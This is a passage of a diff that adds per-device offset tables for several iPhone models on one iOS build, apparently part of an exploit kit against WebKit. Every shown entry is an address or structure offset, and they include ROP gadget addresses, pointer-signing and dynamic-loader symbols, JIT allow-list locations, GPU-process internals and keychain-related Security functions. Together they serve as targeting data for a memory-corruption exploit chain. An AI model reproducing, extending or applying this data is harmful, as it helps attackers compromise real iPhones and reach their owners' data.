WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed882470n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed8780c0n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone15,2_22G86": { + __pthread_head : 0x26a214020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa6e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1776560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa1d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa130n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa180n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9578n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99b70n, + DesktopServicesPriv_bss : 0x1ecacd5a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2693fb0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708408n, + free_slabs : 0x1ed7c1b90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f035150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff1ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dadb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7daa60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7daa68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7daa70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da9b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7daa78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x214001820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7018n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d040000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6280n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257adee60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d046988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272904000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b028n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a630n, + WebCore__initPKContact_once : 0x1ed887df8n, + WebCore__initPKContact_value : 0x1ed887e00n, + WebCore__PAL_getPKContactClass : 0x1ed87f2b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8865d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8865c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8865b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed87c200n, + WebCore__HTMLDocument_vtable : 0x1f10dda68n, + }, + "iPhone15,3_22G86": { + __pthread_head : 0x26a214020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa6e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1776560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa1d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa130n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa180n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9578n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99b70n, + DesktopServicesPriv_bss : 0x1ecacd5a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2693fb0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708408n, + free_slabs : 0x1ed7c1b90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f035150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff1ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dadb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7daa60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7daa68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7daa70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da9b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7daa78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x214001820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7018n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d040000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6280n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257adee60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d046988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272904000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b028n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a630n, + WebCore__initPKContact_once : 0x1ed887df8n, + WebCore__initPKContact_value : 0x1ed887e00n, + WebCore__PAL_getPKContactClass : 0x1ed87f2b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8865d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8865c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8865b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed87c200n, + WebCore__HTMLDocument_vtable : 0x1f10dda68n, + }, + "iPhone15,4_22G86": { + __pthread_head : 0x26983c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f68e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f63d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f6330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f6380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5778n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704608n, + free_slabs : 0x1ed7bdd90n, + gadget_control_1_ios184 : 0x23ed6d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f031150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6fb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6c60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6c68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6c70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6bb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6c78n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cb0f8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc59870n, + libsystem_c__atexit_mutex : 0x1ed6e3218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e2480n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25797be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271f24000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed877228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883ff8n, + WebCore__initPKContact_value : 0x1ed884000n, + WebCore__PAL_getPKContactClass : 0x1ed87b4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8827d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8827c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8827b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed878400n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone15,5_22G86": { + __pthread_head : 0x26983c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f68e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f63d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f6330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f6380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5778n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704608n, + free_slabs : 0x1ed7bdd90n, + gadget_control_1_ios184 : 0x23ed6d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f031150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6fb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6c60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6c68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6c70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6bb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6c78n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cb0f8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc59870n, + libsystem_c__atexit_mutex : 0x1ed6e3218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e2480n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25797be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271f24000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed877228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883ff8n, + WebCore__initPKContact_value : 0x1ed884000n, + WebCore__PAL_getPKContactClass : 0x1ed87b4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8827d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8827c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8827b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed878400n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone16,1_22G86": { + __pthread_head : 0x26a720020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1776560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9878n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99b70n, + DesktopServicesPriv_bss : 0x1ecacd5a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2693fb0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708708n, + free_slabs : 0x1ed7c1e90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f039150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7db0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dad60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dad68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dad70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dacb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dad78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + 